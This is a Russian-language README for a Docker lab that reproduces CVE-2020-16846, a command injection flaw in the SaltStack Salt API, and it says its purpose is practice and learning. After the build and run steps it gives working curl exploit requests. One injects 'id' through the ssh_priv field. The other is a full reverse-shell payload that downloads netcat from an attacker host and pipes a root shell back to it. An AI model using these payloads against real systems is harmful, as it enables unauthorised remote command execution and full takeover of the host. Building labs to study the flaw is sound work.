
Лабораторная среда на базе Docker для эксплуатации CVE-2020-16846, уязвимости внедрения команд в SaltStack Salt API, с пошаговыми инструкциями по эксплуатации и примерами полезной нагрузки reverse shell.
Уязвимость поясняется: В SaltStack Salt до версии 3002 была обнаружена проблема. Отправка специально созданных веб-запросов к Salt API при включённом SSH-клиенте может привести к внедрению команд в оболочку. Подробности об этой уязвимости можно найти здесь:
В целях практики и обучения я решил создать уязвимый экземпляр и эксплуатировать его.
Уязвимая версия: https://github.com/saltstack/salt/releases/tag/v3002
Протестировано на Ubuntu 20.04.03
Используйте Dockerfile для создания уязвимого экземпляра в Docker.
Запустите salt_setup.sh, если хотите создать уязвимый экземпляр на виртуальной машине Ubuntu.
docker build -t salt-image .
Запустите контейнер и откройте порты (для эксплуатации фактически нужен только 8080)
docker run -p4506:4506 -p4505:4505 -p8000:8000 -it salt-image:latest

curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"|id>/tmp/test #"}'

Обратная оболочка
root@kali:~# curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"| /usr/bin/wget http://$attacker_ip/nc -O /root/nc; chmod +x /root/nc; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/root/nc $attacker_ip $listener_port >/tmp/f #"}'
